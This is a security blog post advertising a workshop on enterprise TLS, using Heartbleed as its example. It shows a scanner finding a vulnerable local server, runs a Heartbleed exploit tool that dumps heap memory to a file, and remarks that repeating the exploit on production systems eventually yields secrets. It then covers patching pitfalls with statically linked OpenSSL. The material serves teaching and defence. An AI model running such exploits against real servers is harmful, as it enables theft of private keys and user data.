TLS in the Enterprise: Is Heartbleed still a Problem?

Our new workshop about TLS/SSL in the enterprise will be held for the 1st time at Troopers 2018. So I would like to take the opportunity and post a short teaser about stuff we will cover in this workshop.

TLS/SSL is a complicated topic especially in enterprise environments due to the fact, that

• encrypted traffic should be inspected e.g. for malware
• customers/users must be able to use important applications
• crypto attacks are complex and sometimes considered to be only a problem in theory
• the internal CERT wants to have every issue fixed, if feasible or not 😉
• impact of configuration changes can not be foreseen
• Software inventory is incomplete (do you want to make a bet that Heartbleed is fixed completely in your environment ;-)? )
• … and so forth

In the workshop we will cover all these points, discuss them and share our experience regarding feasibility and useful mitigating controls. We will explain the most common SSL vulnerabilities/attacks, demonstrate tools to test (and sometimes to exploit) them, point out pitfalls and recommend what to do. Let us have a look at one example, Heartbleed:

1. What is Heartbleed?

Heartbleed is an implementation bug that allows an attacker to read the memory of systems equipped with the one of vulnerable versions of OpenSSL.  An attacker might get his hands on secret crypto keys and use this to eavesdrop on communications, steal data directly from the services and users or to impersonate services and users (my short version from heartbleed.com 😉 ).

2. How to test for this vulnerability?

There are a lot of tools available, that can check for this vulnerability, e.g. nmap (with NSE script), Nessus, dedicated heartbleed tools and a TLS/SSL swiss army knife, that we will use during the workshop (I have obfuscated this tool to make you curious and join our workshop 😉 ).

Here is, how a check against a vulnerable server looks like:

hal9000:~ mthumann$ ssl -H 127.0.0.1:4433
Start 2018-02-13 13:22:01 -->> 127.0.0.1:4433 (127.0.0.1) <<--
further IP addresses: 62.138.238.45 62.138.239.45
rDNS (127.0.0.1): localhost.
Service detected: HTTP
Testing for heartbleed vulnerability
Heartbleed (CVE-2014-0160) VULNERABLE (NOT ok)
Done 2018-02-13 13:22:04 [0007s] -->> 127.0.0.1:4433 (127.0.0.1) <<--

Of course you can also try to exploit this, there are a lot of tools for doing that:

hal9000:~ mthumann$ ./heartbleed -s 127.0.0.1 -p 4433 -f mt.txt -t 1
[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
[ =============================================================
[ connecting to 127.0.0.1 4433/tcp
[ connected to 127.0.0.1 4433/tcp
[ <3 <3 <3 heart bleed <3 <3 <3
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ heartbleed leaked length=65535
[ final record type=24, length=16384
[ wrote 16381 bytes of heap to file 'mt.txt'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'mt.txt'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'mt.txt'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'mt.txt'
[ heartbeat returned type=24 length=42
[ decrypting SSL packet
[ final record type=24, length=18
[ wrote 18 bytes of heap to file 'mt.txt' 

and finally check the file mt.txt for interesting stuff and if you don’t find anything, just repeat the exploit, on a productive system it is only a matter of time or tries, until you will find something.

3. Mitigation

Mitigation seems to look easy, it is an implementation bug, so just check your environment and patch all affected systems:

Hmmm, the nginx link is confusing, it says that there are nginx installations where dynamically linked openssl versions must be patched and installations with statically linked openssl versions. Dynamically means that your nginx uses the openssl version of your server, so patching should be easy, just update openssl on your server. But statically means, that someone compiled nginx with a dedicated openssl version, so you have to update these developer packages of openssl and recompile every software (not just nginx) that has linked the vulnerable version statically. Sounds like a nightmare, right? But …

4. Pitfalls

It is not the end of the story. A lot of applications use statically linked libraries and it is not just about server applications like nginx, also a lot of client software uses openssl and links it statically to ensure that the client software will work on different system without errors. To ensure that every vulnerable version of openssl has been patched, the following requirements must been met:

• You have a 100% reliable software inventory without any software missing, e.g. an administrator, that has installed (or just copied) additional tools on his system or appliances or print server or smart tvs, just to mention a few examples
• You have checked every piece of software in your inventory for vulnerable openssl versions and didn’t find even one (and checking does not mean, that you have asked the vendor 😉 ).
• Every piece of software in your inventory ist still maintained (and can be patched)
• You are aware that also a single binary might have been statically linked against a vulnerable opensl version and all these binaries are in your inventory

Finally, do you want to make a bet that you really have patched and mitigated all heartbleed problems ;-)? Even old vulnerabilities might still be a problem, especially in big environments and this was just one example. If you are interested in more stuff, come and join our workshop on Troopers 2018!

See you soon 🙂

Michael